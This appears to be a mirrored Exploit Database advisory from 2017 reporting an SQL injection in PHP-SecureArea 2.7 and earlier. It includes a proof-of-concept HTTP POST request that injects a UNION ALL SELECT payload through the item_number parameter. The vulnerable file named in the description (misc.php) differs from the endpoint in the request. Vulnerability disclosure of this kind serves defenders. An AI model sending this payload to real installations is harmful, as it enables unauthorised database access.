PHP-SecureArea < 2.7 - Multiple Vulnerabilities

• Exploit Database
• 121 阅读

• 作者： Cryo
  日期： 2017-08-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42595/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

  # Exploit Title: PHP-SecureArea <= v2.7 - SQL Injection # Date: 30-08-2017 # Exploit Author: Cryo # Contact: https://twitter.com/KernelEquinox # Vendor Homepage: https://www.withinweb.com # Software Link: https://www.withinweb.com/phpsecurearea/ # Version: 2.7 and below # Tested on: Windows, Linux, Mac OS X   1. Description ==============   PHP-SecureArea is vulnerable to SQL injection due to lack of input sanitization in the misc.php file.     2. Proof of Concept ===================   POST /phpsecurearea/ipn/process.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded   item_number=-1&apos; UNION ALL SELECT 1-- -